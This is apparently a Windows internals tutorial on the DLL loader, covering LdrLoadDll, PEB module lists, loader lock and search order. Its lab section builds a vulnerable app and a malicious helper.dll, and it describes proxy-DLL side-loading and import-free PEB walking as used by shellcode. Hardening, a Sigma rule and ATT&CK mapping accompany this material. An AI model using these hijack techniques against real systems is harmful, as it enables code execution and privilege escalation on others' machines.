DLL Loading Internals: The Loader, LdrLoadDll, and Load Order

By Debraj Basak·Sep 5, 2026·17 min readWindows Internals

Objective: Trace exactly what happens between LoadLibrary returning and DllMain running: the Ldr* call chain inside ntdll.dll, the loader’s private data structures on the PEB, loader lock semantics, and the full DLL search order with every override that mutates it. You should finish able to set a breakpoint on LdrpLoadDll, read the arguments off the stack, walk PEB_LDR_DATA by hand, spot a search-order hijack in ProcMon, and write a Sigma rule that catches it.


1. The Loader Lives in User Mode, on Purpose

The Windows loader is not a service. It is not a kernel component. It is a pile of private functions inside ntdll.dll (Ldr* and Ldrp*) that runs in the address space of every process, starting before your main() gets called. ntdll is the very first module mapped into a new process, and LdrpInitializeProcess is what actually calls into your entry point after all statically-linked dependencies have been mapped, relocated, and initialised.

The kernel only participates when the loader needs a file mapped or a page committed. Everything else, path resolution, import walking, TLS callbacks, DllMain orchestration, is user-mode logic. That matters for two reasons. First, injection primitives that call LoadLibrary inside a target process are running the same loader you are, with the same rules. Second, when you hook LdrLoadDll, you see every module load that process performs, including modules the kernel never surfaces as a distinct event.

The kernel touchpoints are narrow. When the loader needs the actual bytes of a DLL, it opens a section object via NtOpenSection (for \KnownDlls\<name>) or NtCreateSection, then maps it with NtMapViewOfSection. That is the only place the CPU crosses the ring boundary during a DLL load.


2. From LoadLibrary to LdrLoadDll

LoadLibraryW and LoadLibraryExW are Win32 wrappers in KernelBase.dll. They do a small amount of housekeeping (flag translation, path massaging) and then call the real thing.

Call chain, x64:

FunctionModuleRole
LoadLibraryW / LoadLibraryExWKernelBase.dllPublic Win32 entry; converts flags, calls LdrLoadDll
RtlInitUnicodeStringExntdll.dllWraps the wide path in a UNICODE_STRING
LdrLoadDllntdll.dll (exported)Public loader entry; acquires loader lock; delegates
LdrpLoadDllntdll.dll (private)Core loader work: search, map, register, resolve imports, init
NtMapViewOfSectionkernel via syscallMaps the image section into the process
LdrpInitializeGraphRecurse / LdrpInitializeNodentdll.dll (private)Walks the dependency DAG and calls DllMain in the right order

The exported entry, with its real signature:

NTSYSAPI NTSTATUS NTAPI LdrLoadDll(
    _In_opt_  PCWSTR            DllPath,            // NULL = default search order
    _In_opt_  PULONG            DllCharacteristics, // usually NULL
    _In_      PCUNICODE_STRING  DllName,            // name or full path
    _Out_     PVOID            *DllHandle           // receives module base
);

DllName must be a UNICODE_STRING, not a bare PCWSTR. That is why KernelBase calls RtlInitUnicodeStringEx first: it wraps the caller’s path in a UNICODE_STRING with Length and MaximumLength set. If you want to call LdrLoadDll directly (useful in shellcode that does not want to link against KernelBase), you do the same wrapping yourself:

// Call LdrLoadDll directly, skipping LoadLibrary entirely.
#include <windows.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI *pLdrLoadDll)(PWCHAR, PULONG, PUNICODE_STRING, PVOID*);
typedef VOID     (NTAPI *pRtlInitUnicodeString)(PUNICODE_STRING, PCWSTR);

int wmain(void) {
    HMODULE nt = GetModuleHandleW(L"ntdll.dll");
    pLdrLoadDll           LdrLoadDll        = (pLdrLoadDll)GetProcAddress(nt, "LdrLoadDll");
    pRtlInitUnicodeString RtlInitUnicodeStr = (pRtlInitUnicodeString)GetProcAddress(nt, "RtlInitUnicodeString");

    UNICODE_STRING us;
    RtlInitUnicodeStr(&us, L"user32.dll");

    HMODULE hMod = NULL;
    NTSTATUS st = LdrLoadDll(NULL, NULL, &us, (PVOID*)&hMod);
    wprintf(L"LdrLoadDll -> 0x%08X, base=%p\n", st, hMod);
    return 0;
}

STATUS_SUCCESS is 0x00000000. STATUS_DLL_NOT_FOUND (0xC0000135) is what you see when the search order runs out of candidates. If you pass a non-NULL DllPath, that string overrides the default search order for this call only.


Flowchart showing the call chain from LoadLibraryW through RtlInitUnicodeStringEx, LdrLoadDll, LdrpLoadDll, NtMapViewOfSection syscall, and finally LdrpInitializeNode where DllMain is invoked
Every LoadLibrary call traverses this chain – the kernel only touches it at the NtMapViewOfSection syscall boundary.

3. PEB, PEB_LDR_DATA, and LDR_DATA_TABLE_ENTRY

Everything the loader tracks about currently-mapped modules hangs off the PEB. The PEB’s Ldr field points at a PEB_LDR_DATA, and that structure holds three list heads. Each LDR_DATA_TABLE_ENTRY sits on all three lists via three separate LIST_ENTRY links.

The public trimmed layout from winternl.h:

typedef struct _PEB_LDR_DATA {
    BYTE       Reserved1[8];
    PVOID      Reserved2[3];
    LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

The three lists differ only in traversal order, not contents:

List headOrder
InLoadOrderModuleListOrder in which the loader mapped each module
InMemoryOrderModuleListAscending by DllBase
InInitializationOrderModuleListOrder in which DllMain(DLL_PROCESS_ATTACH) was called

The node struct, with the fields that matter to a defender or a rootkit author:

FieldTypeNotes
InLoadOrderLinksLIST_ENTRYLink in load-order list
InMemoryOrderLinksLIST_ENTRYLink in memory-order list
InInitializationOrderLinksLIST_ENTRYLink in init-order list
DllBasePVOIDImage base in this process
EntryPointPVOIDDllMain address
SizeOfImageULONGMapped size
FullDllNameUNICODE_STRINGFull path on disk
BaseDllNameUNICODE_STRINGFile name only
ObsoleteLoadCountUSHORTLegacy refcount (pre-Win8 semantics)
DdagNode_LDR_DDAG_NODE*Dependency DAG node (Win8+); around +0x98 on x64

Windows 8 reworked how the loader tracks lifetime and dependencies, replacing much of the old refcount plumbing with a DAG (LDR_DDAG_NODE). Offsets shift between releases. Always confirm on your target build with dt ntdll!_LDR_DATA_TABLE_ENTRY before trusting a number.

Walking the list without touching Win32

The classic pattern (used by every reflective loader and half the shellcode in the wild) is to read the PEB from the TEB, follow Ldr, and iterate InLoadOrderModuleList. No GetModuleHandle, no EnumProcessModules, no imports to give you away.

#include <windows.h>
#include <winternl.h>

typedef struct _LDR_DATA_TABLE_ENTRY_FULL {
    LIST_ENTRY     InLoadOrderLinks;
    LIST_ENTRY     InMemoryOrderLinks;
    LIST_ENTRY     InInitializationOrderLinks;
    PVOID          DllBase;
    PVOID          EntryPoint;
    ULONG          SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    // ... trimmed
} LDR_DATA_TABLE_ENTRY_FULL, *PLDR_DATA_TABLE_ENTRY_FULL;

int wmain(void) {
    PPEB peb = (PPEB)__readgsqword(0x60);              // TEB->ProcessEnvironmentBlock
    PPEB_LDR_DATA ldr = peb->Ldr;
    PLIST_ENTRY head = &ldr->InMemoryOrderModuleList;

    for (PLIST_ENTRY cur = head->Flink; cur != head; cur = cur->Flink) {
        // InMemoryOrderLinks is the SECOND LIST_ENTRY in the node,
        // so back up by one LIST_ENTRY to reach the struct base.
        PLDR_DATA_TABLE_ENTRY_FULL e =
            (PLDR_DATA_TABLE_ENTRY_FULL)((BYTE*)cur - sizeof(LIST_ENTRY));
        wprintf(L"%p  %.*s\n",
            e->DllBase,
            e->BaseDllName.Length / (USHORT)sizeof(WCHAR),
            e->BaseDllName.Buffer);
    }
    return 0;
}

The offset trick (cur - sizeof(LIST_ENTRY)) is the one thing that bites people. InMemoryOrderModuleList links through the second LIST_ENTRY inside the node, not the first. Walking the wrong list with the wrong offset gives you plausible-looking garbage. I lost about an hour to that on my first pass, staring at BaseDllName.Buffer pointing into a random module’s .text.

Same walk in WinDbg

0:000> !peb
0:000> dt ntdll!_PEB Ldr @$peb
0:000> dt ntdll!_PEB_LDR_DATA <addr>
0:000> !list "-t ntdll!_LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink -x \"dt ntdll!_LDR_DATA_TABLE_ENTRY BaseDllName DllBase @$extret\" @$peb->Ldr->InLoadOrderModuleList.Flink"

Or, less painfully, lm for the flat module list and !dh <base> for the PE header of any entry.


Hierarchy diagram showing the PEB pointing to PEB_LDR_DATA, which holds three list heads - InLoadOrder, InMemoryOrder, and InInitializationOrder - all threading through the same LDR_DATA_TABLE_ENTRY nodes
Three doubly-linked lists thread through every LDR_DATA_TABLE_ENTRY, giving the loader three independent traversal orders over the same set of mapped modules.

4. Loader Lock and the DllMain Contract

LdrpLoaderLock is an RTL_CRITICAL_SECTION inside ntdll. LdrLoadDll acquires it before doing anything, and LdrpLoadDll acquires it again (critical sections are recursive on the owning thread, so the reentry is fine). It is released only after the whole dependency graph has been mapped, imports resolved, and initializers run.

Consequence: your DllMain runs with loader lock held. That is what the MSDN warnings about “do not call LoadLibrary from DllMain” boil down to. If a thread inside DllMain blocks on something that a second thread needs to acquire loader lock to complete, you deadlock the process, no exception, no crash dump, just a hung svchost that stays hung until you kill it.

Practical rules for anything running inside DllMain(DLL_PROCESS_ATTACH):

  • Do not call LoadLibrary / FreeLibrary / CoInitializeEx / CreateProcess.
  • Do not do synchronous IPC to another process that might itself be blocked on loader lock.
  • Do not wait on a thread that has not yet finished attaching (DisableThreadLibraryCalls if you do not care about thread-attach notifications).
  • Do the minimum: set up state, spawn a worker thread that will run once loader lock is released, and return TRUE.

Inspect the lock live:

0:000> x ntdll!LdrpLoaderLock
0:000> !critsec ntdll!LdrpLoaderLock

If OwningThread is non-zero and it is not you, that is who is holding the loader.


5. The Full Loader Sequence

Once LdrpLoadDll has resolved a path to a file, the sequence is:

  1. Check the loaded module list. If BaseDllName matches an existing node, bump the refcount / DAG reference and return the existing DllBase. Same reason a second LoadLibrary("user32.dll") is free.
  2. Consult KnownDLLs. For anything registered in \KnownDlls, open the pre-created section object directly (NtOpenSection) and skip file-system search entirely.
  3. File-system search using the order in section 6.
  4. Map the image. NtCreateSection with SEC_IMAGE, then NtMapViewOfSection. Each PE section lands at its RVA with the protections declared in its section header (.text RX, .data RW, .rdata R).
  5. Register the module. Insert a new LDR_DATA_TABLE_ENTRY into all three PEB_LDR_DATA lists.
  6. Apply base relocations if DllBase != ImageBase (ASLR guarantees this most of the time). The loader walks IMAGE_DIRECTORY_ENTRY_BASERELOC and patches absolute addresses.
  7. Resolve imports. Walk the import directory (IMAGE_DIRECTORY_ENTRY_IMPORT). For each imported module, recurse into LdrpLoadDll. For each imported function, fill the corresponding IAT slot with the resolved address.
  8. Run TLS callbacks (IMAGE_DIRECTORY_ENTRY_TLS), which run before DllMain. This is a favourite anti-analysis surface: TLS callbacks execute before a debugger’s initial breakpoint fires if you attached at load.
  9. Run DllMain(DLL_PROCESS_ATTACH) for each new module, in dependency order (leaves first).

The whole graph runs under loader lock. Then LdrLoadDll releases the lock and returns STATUS_SUCCESS to the caller.


6. The DLL Search Order

With SafeDllSearchMode enabled (the default on every currently-supported Windows), and no override in play:

  1. Already-loaded modules (InLoadOrderModuleList).
  2. KnownDLLs (HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs).
  3. Application directory (the folder .exe was launched from).
  4. %SystemRoot%\System32.
  5. %SystemRoot%\System16 (16-bit stub, legacy).
  6. %SystemRoot%.
  7. Current working directory.
  8. Directories on %PATH%.

With Safe DLL Search Mode disabled (do not do this), the current working directory moves up to slot 3, which is the historical “double-click the document in a hostile folder” hijack.

Several mechanisms are evaluated before the file-system walk begins:

OverrideEffect
.local redirectionA foo.exe.local file or folder next to the EXE forces the loader to prefer the EXE’s directory for that DLL name
SxS manifestApplication manifest binds specific DLL names to versioned WinSxS paths
API Setsapi-ms-win-* virtual names resolved through the API Set Schema, never touching the file system as those literal names
SetDllDirectory(path)Inserts path after the application directory and before System32; SetDllDirectory("") removes CWD from the search
SetDefaultDllDirectoriesRestricts subsequent implicit and explicit loads to the given LOAD_LIBRARY_SEARCH_* set
LoadLibraryExW flagsLOAD_LIBRARY_SEARCH_SYSTEM32, LOAD_LIBRARY_SEARCH_APPLICATION_DIR, LOAD_LIBRARY_SEARCH_USER_DIRS restrict per-call
/DEPENDENTLOADFLAGLinker option that hard-codes a search restriction for statically-declared imports

The single most useful hardening call is:

SetDefaultDllDirectories(LOAD_LIBRARY_SEARCH_SYSTEM32);

Put that in wWinMain before you do anything else, and most search-order hijacks against your process die immediately.


Illustration of a vertical stack of archive shelves representing the DLL search order, with a shadowy hand reaching toward the application-directory shelf - the hijack point
The loader queries each location in strict order; a planted DLL on any higher shelf wins before System32 is ever consulted.

7. Tracing a Load in WinDbg

Attach to a process, break on the two loader entries, and watch the arguments. On x64, the Microsoft calling convention passes the first four arguments in rcx, rdx, r8, r9. LdrLoadDll‘s third argument (DllName) therefore lands in r8, and it is a pointer to a UNICODE_STRING.

0:000> bp ntdll!LdrLoadDll
0:000> bp ntdll!LdrpLoadDll
0:000> g

Breakpoint 0 hit
ntdll!LdrLoadDll:
0:000> dt ntdll!_UNICODE_STRING @r8
   +0x000 Length           : 0x14
   +0x002 MaximumLength    : 0x16
   +0x008 Buffer           : 0x000001f0`... "user32.dll"

0:000> du poi(@r8+8) L?@@c++(((unsigned short*)@r8)[0]/2)
000001f0`... "user32.dll"

0:000> !critsec ntdll!LdrpLoaderLock

gu back out and inspect rax for the NTSTATUS. That is the entire loader flow for one DLL, live.


8. Abusing the Load Order in the Lab

The same rules that let the loader find user32.dll let an attacker plant a helper.dll where the loader looks first. This is DLL search-order hijacking (T1574.001) and its stealthier cousin DLL side-loading (T1574.002).

8.1 Build the vulnerable target

VulnApp.c, a Win64 console app that loads a helper by bare name with no flags. This is the exact anti-pattern the SDK docs have warned about since Vista.

// VulnApp.c
#include <windows.h>
#include <stdio.h>

int main(void) {
    puts("[VulnApp] loading helper.dll by bare name...");
    HMODULE h = LoadLibraryA("helper.dll");
    if (!h) {
        printf("[VulnApp] LoadLibrary failed: %lu\n", GetLastError());
        return 1;
    }
    printf("[VulnApp] helper.dll loaded at %p\n", (void*)h);
    FreeLibrary(h);
    return 0;
}

Build from a Visual Studio x64 Native Tools prompt and drop it in a dedicated directory:

cl /nologo /W3 VulnApp.c
mkdir C:\VulnApp
move VulnApp.exe C:\VulnApp\

Do not put a real helper.dll anywhere. That is the whole point: the DLL is a “phantom”, the process asks for it, no legitimate copy exists, and whoever writes the file first wins.

8.2 Confirm the hijack surface

Fire up Process Monitor, filter on Process Name is VulnApp.exe and Result is NAME NOT FOUND, and run the app. You will see a sequence of CreateFile operations against every directory in the search order, each returning NAME NOT FOUND, ending with the LoadLibrary call returning error 126 (ERROR_MOD_NOT_FOUND).

The first probe is C:\VulnApp\helper.dll. That is the application directory, slot 3 in the search order, and it is checked before System32. Whatever we drop there wins.

You can also confirm the same from WinDbg:

0:000> bp ntdll!LdrLoadDll ".if (poi(@r8+8) != 0) { du poi(@r8+8); }; g"
0:000> g

8.3 Build the malicious DLL

// evil_helper.c, compiled as helper.dll
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE h, DWORD reason, LPVOID reserved) {
        if (reason == DLL_PROCESS_ATTACH) {
        // Lab payload. In a real red-team engagement this would be
        // the initial-access implant handoff. Keep it minimal: loader
        // lock is held inside DllMain.
        MessageBoxA(NULL, "hijacked in VulnApp context", "PoC", MB_OK);
    }
    return TRUE;
}

Compile as an x64 DLL and copy into the application directory:

cl /nologo /LD evil_helper.c /Fe:helper.dll
copy helper.dll C:\VulnApp\helper.dll

Run C:\VulnApp\VulnApp.exe. The message box pops. Your code is executing inside VulnApp.exe, at whatever integrity level and token the process holds.

If VulnApp were an auto-elevated program with a requireAdministrator manifest, or a service running as LOCAL SYSTEM, or a scheduled task running as another user, the DLL inherits that context. That is how search-order hijacking crosses from persistence into privilege escalation.

8.4 The side-loading and proxying variant

Naked payload DLLs are noisy: the host app immediately breaks because the exports it wanted are gone. The stealth version is a proxy DLL that forwards every export to the real helper.dll (renamed and dropped alongside), so the host program runs normally while your code executes.

You can generate forwarders with a .def file:

LIBRARY helper
EXPORTS
    DoWork = helper_real.DoWork
    Cleanup = helper_real.Cleanup

Or use tools like DLLHijacker / Spartacus / Koppeling to auto-generate the forwarder stub from the exports of the legitimate DLL. This is what MITRE calls DLL side-loading (T1574.002), and it is exactly what actors like Cinnamon Tempest have used to launch Cobalt Strike beacons out of legitimate signed EXEs.

8.5 Fixing VulnApp

The same code, hardened:

#include <windows.h>

int main(void) {
    SetDefaultDllDirectories(LOAD_LIBRARY_SEARCH_SYSTEM32);

    // Full path or LoadLibraryEx with an explicit flag set.
    HMODULE h = LoadLibraryExW(
        L"C:\\Program Files\\VulnApp\\helper.dll",
        NULL,
        LOAD_LIBRARY_SEARCH_APPLICATION_DIR | LOAD_LIBRARY_SEARCH_SYSTEM32);
    if (!h) return 1;
    FreeLibrary(h);
    return 0;
}

Rerun ProcMon. The application-directory probe no longer happens for anything except that qualified path.


9. Defensive Strategies and Detection

Sysmon Event ID 7 (ImageLoad) is the primary hunt surface. Every DLL mapped into a process fires one event with the process image, the loaded DLL path, its signature status, and the OriginalFileName from the version resource. Combine those four fields and most hijack patterns become obvious.

Relevant Sysmon events:

Event IDWhat it catches
1Process create (context: trusted EXE launched from an odd path)
7Image load (the DLL load itself)
10ProcessAccess (handle opens preceding a LoadLibrary-based injection)
11FileCreate (attacker drops the DLL)
13Registry set (attacker adds a phantom KnownDLLs entry)

Sample Sigma rule keyed on the lab target and a small allowlist of trusted DLL paths:

title: Suspicious DLL Loaded from Non-Standard Path
id: 4c1a1a4e-9b74-4f8c-8b8c-1c1e6a9c5f21
status: experimental
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 7
    Image|endswith:
      - '\VulnApp.exe'
      - '\svchost.exe'
      - '\services.exe'
      - '\explorer.exe'
    Signed: 'false'
  filter_paths:
    ImageLoaded|startswith:
      - 'C:\Windows\System32\'
      - 'C:\Windows\SysWOW64\'
      - 'C:\Windows\WinSxS\'
  condition: selection and not filter_paths
falsepositives:
  - Legitimate unsigned in-house DLLs (tune by product)
level: high

For side-loading against signed binaries (T1574.002), invert the logic and alert on a signed EXE loading an unsigned DLL from the same folder the EXE was launched from, when that folder is under %APPDATA%, %TEMP%, or any user-writable location.

Useful ETW providers for higher-fidelity telemetry (verify GUIDs with logman query providers on your build before wiring anything up):

  • Microsoft-Windows-Kernel-Process (process and image-load events)
  • .NET runtime module load providers (for managed side-loading)

Hardening controls, ranked by how much attack surface they remove:

ControlMechanism
SetDefaultDllDirectories(LOAD_LIBRARY_SEARCH_SYSTEM32)Eliminates application-dir and CWD probing per-process
Fully qualified paths in every LoadLibrary* callNo search order = nothing to hijack
WDAC / AppLocker DLL rules, publisher-signedRejects unsigned DLLs at load time
SafeDllSearchMode = 1 (default)Demotes CWD below System32
Add sensitive DLLs to KnownDLLsLoader binds via \KnownDlls section object, skips file-system search
Remove world-writable perms from application directoriesRemoves the drop primitive
/DEPENDENTLOADFLAG linker flagBakes search restrictions into static imports

Graph diagram showing Sysmon event IDs 7, 11, and 13 feeding into a Sigma rule that correlates unsigned DLL loads from non-system paths, producing ATT&CK T1574 alerts
Correlating FileCreate, ImageLoad, and Registry events through a single Sigma rule surfaces both the drop primitive and the load event for T1574 coverage.

10. Tools for Loader Analysis

ToolDescriptionLink
WinDbgKernel and user debugger; dt, !peb, !critsec, bp ntdll!LdrLoadDlllearn.microsoft.com/windows-hardware/drivers/debugger/
Process MonitorLive file-system trace; the fastest way to spot NAME NOT FOUND DLL probeslearn.microsoft.com/sysinternals/downloads/procmon
System Informer (formerly Process Hacker)Live PEB and module inspection, handle enumerationsysteminformer.sourceforge.io
API MonitorHook and log LoadLibrary, LdrLoadDll, and thousands of othersrohitab.com/apimonitor
dumpbin / link /dump /importsStatic import directory dump from a PEships with MSVC
PE-bearGUI PE editor for imports, TLS, resourcesgithub.com/hasherezade/pe-bear
SysmonWindows telemetry agent; EID 7 is the DLL-load eventlearn.microsoft.com/sysinternals/downloads/sysmon
SpartacusDLL proxy generator for side-loading researchgithub.com/Accenture/Spartacus
KoppelingDLL export cloning / hijacking toolkitgithub.com/monoxgas/Koppeling

11. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Hijack Execution FlowT1574Parent technique
DLL Search Order HijackingT1574.001Sysmon EID 7 + unsigned DLL from application dir; EID 11 for drop
DLL Side-LoadingT1574.002Signed EXE loads unsigned DLL from same non-system folder
Process Injection: DLLT1055.001EID 10 (ProcessAccess) + EID 8 (CreateRemoteThread) into LoadLibrary
Shared ModulesT1129Baseline module-load telemetry

Documented actors using T1574.001 in the wild include Chimera, Cinnamon Tempest (search-order hijacks to launch Cobalt Strike beacons), and MuddyWater (side-loading via legitimate signed programs).


12. Summary

  • The loader is user-mode ntdll code, and LdrLoadDll is the door. Every DLL load, injection or otherwise, goes through it under loader lock.
  • The PEB’s Ldr field points at PEB_LDR_DATA, which chains every mapped module through three parallel LIST_ENTRY links. Walking those lists is how reflective loaders and shellcode find kernel32 without imports.
  • The search order is deterministic and documented: loaded list, KnownDLLs, application dir, System32, System16, Windows, CWD, %PATH%, plus overrides (.local, SxS, API Sets, SetDllDirectory, LoadLibraryEx flags).
  • Any LoadLibrary call using a bare name with no LOAD_LIBRARY_SEARCH_* flags is a hijack invitation. SetDefaultDllDirectories(LOAD_LIBRARY_SEARCH_SYSTEM32) closes most of it in one line.
  • Detect with Sysmon EID 7 keyed on Image + ImageLoaded + Signed + OriginalFileName. Map to ATT&CK T1574.001 and T1574.002.

Related Tutorials

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.